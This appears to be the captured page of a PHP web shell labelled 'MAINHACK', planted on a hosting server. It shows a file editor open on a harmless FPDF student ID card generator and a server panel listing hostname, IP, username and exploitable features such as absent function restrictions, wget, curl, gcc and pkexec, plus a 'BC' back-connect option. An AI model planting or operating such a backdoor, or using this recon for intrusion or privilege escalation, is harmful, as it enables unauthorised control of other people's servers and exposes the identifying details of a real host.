[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: schoolid.php
<?php require('fpdf/fpdf.php'); // Make sure FPDF is installed or included class StudentIDCard extends FPDF { function createCard($data) { // Card size: 86mm x 54mm (standard ID card) $this->AddPage('L', [54, 86]); // Background color $this->SetFillColor(0, 102, 102); // Teal top $this->Rect(0, 0, 86, 54, 'F'); // Header Section (Logo + School Name) if (!empty($data['school_logo'])) { $this->Image($data['school_logo'], 4, 2, 8, 8); } $this->SetTextColor(255, 255, 255); $this->SetFont('Arial', 'B', 10); $this->Cell(0, 8, 'UNIVERSITY NAME HERE', 0, 1, 'C'); // Card body background $this->SetFillColor(230, 255, 240); $this->Rect(3, 10, 80, 41, 'F'); // "STUDENT ID CARD" title $this->SetXY(5, 12); $this->SetTextColor(0, 51, 51); $this->SetFont('Arial', 'B', 8); $this->Cell(0, 5, 'STUDENT ID CARD', 0, 1, 'L'); // Student photo if (!empty($data['student_photo'])) { $this->Image($data['student_photo'], 6, 18, 15, 18); } // Student details $this->SetFont('Arial', '', 7); $this->SetTextColor(0, 0, 0); $this->SetXY(25, 17); $this->Cell(20, 5, 'Name:', 0, 0); $this->Cell(45, 5, $data['name'], 0, 1); $this->SetX(25); $this->Cell(20, 5, 'Student ID:', 0, 0); $this->Cell(45, 5, $data['student_id'], 0, 1); $this->SetX(25); $this->Cell(20, 5, 'Class:', 0, 0); $this->Cell(45, 5, $data['class_name'], 0, 1); $this->SetX(25); $this->Cell(20, 5, 'Programme:', 0, 0); $this->Cell(45, 5, $data['programme'], 0, 1); $this->SetX(25); $this->Cell(20, 5, 'House:', 0, 0); $this->Cell(45, 5, $data['house_name'], 0, 1); $this->SetX(25); $this->Cell(20, 5, 'Issued On:', 0, 0); $this->Cell(45, 5, $data['issued_on'], 0, 1); // Barcode placeholder $this->SetFont('Courier', 'B', 10); $this->SetXY(10, 45); $this->Cell(0, 5, '|||||||||||||||||||||||', 0, 0, 'C'); } } // Example usage $pdf = new StudentIDCard(); $student_data = [ 'name' => 'Adam Smith', 'student_id' => '000214', 'class_name' => '12/2024', 'programme' => 'Science', 'house_name' => 'Red House', 'issued_on' => 'May 01, 2024', 'school_logo' => 'okk.jpg', // Path to your school logo 'student_photo' => 'okk.jpg' // Path to student photo ]; $pdf->createCard($student_data); $pdf->Output('I', 'student_id_card.pdf'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002